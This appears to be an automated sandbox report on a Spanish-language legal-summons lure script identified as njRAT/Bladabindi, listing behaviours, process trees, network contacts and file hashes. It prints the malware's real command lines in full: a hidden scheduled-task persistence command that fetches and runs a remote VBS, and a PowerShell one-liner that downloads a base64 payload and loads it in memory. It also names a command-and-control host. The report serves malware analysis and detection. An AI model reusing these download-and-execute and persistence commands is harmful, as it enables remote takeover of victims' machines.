Analysis Overview
SHA256
c738d9ae6eec6bb34b54cf66de709a61c6c7d22d98d8762fdf6b5b5b9c48021b
Threat Level: Known bad
The file Denuncia en su contra y detalles de la citacion.wsf was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Process spawned unexpected child process
Blocklisted process makes network request
Checks computer location settings
Drops startup file
Suspicious use of SetThreadContext
Drops file in System32 directory
Enumerates physical storage devices
Suspicious behavior: GetForegroundWindowSpam
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Creates scheduled task(s)
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-09-27 06:42
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-09-27 06:42
Reported
2022-09-27 06:48
Platform
win7-20220812-en
Max time kernel
343s
Max time network
346s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\schtasks.exe |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\system32\taskschd.msc | C:\Windows\system32\mmc.exe | N/A |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mmc.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\mmc.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\mmc.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mmc.exe | N/A |
| N/A | N/A | C:\Windows\system32\mmc.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1548 wrote to memory of 1500 | N/A | C:\Windows\system32\taskeng.exe | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe |
| PID 1548 wrote to memory of 1500 | N/A | C:\Windows\system32\taskeng.exe | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe |
| PID 1548 wrote to memory of 1500 | N/A | C:\Windows\system32\taskeng.exe | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Denuncia en su contra y detalles de la citacion.wsf"
C:\Windows\system32\schtasks.exe
schtasks /create /sc MINUTE /mo 5 /tn "OneDrive Reporting Tas" /tr "\"%windir%\system32\WindowsPowershell\v1.0\powershell.exe\" -Windowstyle Hidden $a = wget 'https://notificacionesdelafiscalia.com/t52ph4t' -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs" /F
C:\Windows\system32\mmc.exe
"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s
C:\Windows\system32\taskeng.exe
taskeng.exe {7F8BACB4-89A1-4004-B080-CED057815914} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -Windowstyle Hidden $a = wget "https://notificacionesdelafiscalia.com/t52ph4t" -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs
Network
Files
memory/1064-54-0x000007FEFC511000-0x000007FEFC513000-memory.dmp
memory/1064-55-0x000007FEF3A50000-0x000007FEF4473000-memory.dmp
memory/1064-56-0x000007FEEE300000-0x000007FEEF396000-memory.dmp
memory/1064-57-0x000000001D900000-0x000000001D919000-memory.dmp
memory/1064-58-0x0000000003FE8000-0x0000000004007000-memory.dmp
memory/1064-59-0x0000000003FE8000-0x0000000004007000-memory.dmp
memory/1064-60-0x0000000003FE8000-0x0000000004007000-memory.dmp
memory/1500-61-0x0000000000000000-mapping.dmp
memory/1500-63-0x000007FEF4160000-0x000007FEF4B83000-memory.dmp
memory/1500-64-0x000007FEF3540000-0x000007FEF409D000-memory.dmp
memory/1500-65-0x00000000025A4000-0x00000000025A7000-memory.dmp
memory/1500-66-0x000000001B740000-0x000000001BA3F000-memory.dmp
memory/1500-67-0x00000000025AB000-0x00000000025CA000-memory.dmp
memory/1500-68-0x00000000025A4000-0x00000000025A7000-memory.dmp
memory/1500-69-0x00000000025AB000-0x00000000025CA000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-09-27 06:42
Reported
2022-09-27 06:47
Platform
win10v2004-20220812-en
Max time kernel
300s
Max time network
302s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\schtasks.exe |
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3012 set thread context of 4112 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Denuncia en su contra y detalles de la citacion.wsf"
C:\Windows\system32\schtasks.exe
schtasks /create /sc MINUTE /mo 5 /tn "OneDrive Reporting Tas" /tr "\"%windir%\system32\WindowsPowershell\v1.0\powershell.exe\" -Windowstyle Hidden $a = wget 'https://notificacionesdelafiscalia.com/t52ph4t' -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs" /F
C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -Windowstyle Hidden $a = wget "https://notificacionesdelafiscalia.com/t52ph4t" -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\t.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('b41c42003d6a-78c9-52d4-d8d1-25d8b8f0=nekot&aidem=tla?txt.sndnyd.2202vhF2%5222/o/moc.topsppa.3785b-ceyorp-wen/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Network
| Country | Destination | Domain | Proto |
| US | 52.168.117.170:443 | tcp | |
| NL | 178.79.208.1:80 | tcp | |
| NL | 178.79.208.1:80 | tcp | |
| NL | 178.79.208.1:80 | tcp | |
| US | 8.8.8.8:53 | notificacionesdelafiscalia.com | udp |
| US | 52.72.49.79:443 | notificacionesdelafiscalia.com | tcp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| US | 20.7.14.99:80 | 20.7.14.99 | tcp |
| US | 8.8.8.8:53 | firebasestorage.googleapis.com | udp |
| NL | 142.251.36.42:443 | firebasestorage.googleapis.com | tcp |
| US | 204.79.197.200:443 | tcp | |
| US | 8.8.8.8:53 | hv2022.dyndns.ws | udp |
| CO | 181.128.6.154:2225 | hv2022.dyndns.ws | tcp |
Files
memory/4156-132-0x0000028467170000-0x0000028467192000-memory.dmp
memory/4156-133-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp
memory/3656-134-0x0000000000000000-mapping.dmp
C:\Windows\Temp\t.vbs
| MD5 | 61f778fb90f57dd17579f8fcbb81599b |
| SHA1 | 8c894032d3f7ea36c7fd9f44d999f8e25385fe93 |
| SHA256 | 5b7bf75498ebda8816ccb651e41b39b12ac087682f826a597caa717cc18afdbd |
| SHA512 | 58062880faf4e85f51166bbd6d738181b2188ebba104c275dc2423bc6f120f1818cd572b6a2d549ee3126cef3afb5ae276c1c137c65e1cd988105fb10f4cc09c |
memory/4156-136-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp
memory/3012-137-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 556084f2c6d459c116a69d6fedcc4105 |
| SHA1 | 633e89b9a1e77942d822d14de6708430a3944dbc |
| SHA256 | 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8 |
| SHA512 | 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 33e9dd1bc41e70c4fbdf04b85cf36ff4 |
| SHA1 | 0433625fae735abc2f11249456e212dfca1473a9 |
| SHA256 | f11191abae782730f3e16400aef46c9e8404c2608dc132ec646b41e7f07911f9 |
| SHA512 | d74083d2f0e7fe21db55c7c0bc880dd2d1fe92ca806c79f77ec0bbc7d2ae5fd1d3509d2ebd0fa60efbab0688711902b7a1da6419aba94a0897810ccf6d9957df |
memory/3012-140-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp
memory/1964-141-0x0000000000000000-mapping.dmp
memory/1964-142-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp
memory/1964-143-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp
memory/4112-144-0x0000000000400000-0x000000000040C000-memory.dmp
memory/4112-145-0x000000000040679E-mapping.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | af1cb166ef60425f7f761c7e2a56271c |
| SHA1 | 3d24a690ddbe7f2c099aa54198b1af5a0a0fa429 |
| SHA256 | b5f5944d0252a0dad2c96e9f46799557f59855169cb1693dc40f1fdfd524bb4f |
| SHA512 | 39f8eea604c85b92b98775fd85db519941c7a4c5cc2f1ae4228048a3f1963765d813e79b6ea354a329ad0c220dd1c7d68898affbfcad5d47a5d4a95de86217ce |
memory/3012-147-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp
memory/4112-148-0x0000000005980000-0x0000000005A1C000-memory.dmp
memory/4112-149-0x0000000005FD0000-0x0000000006574000-memory.dmp
memory/4112-150-0x0000000005B50000-0x0000000005BE2000-memory.dmp
memory/4112-151-0x0000000005B20000-0x0000000005B2A000-memory.dmp
memory/4112-152-0x0000000005DC0000-0x0000000005E26000-memory.dmp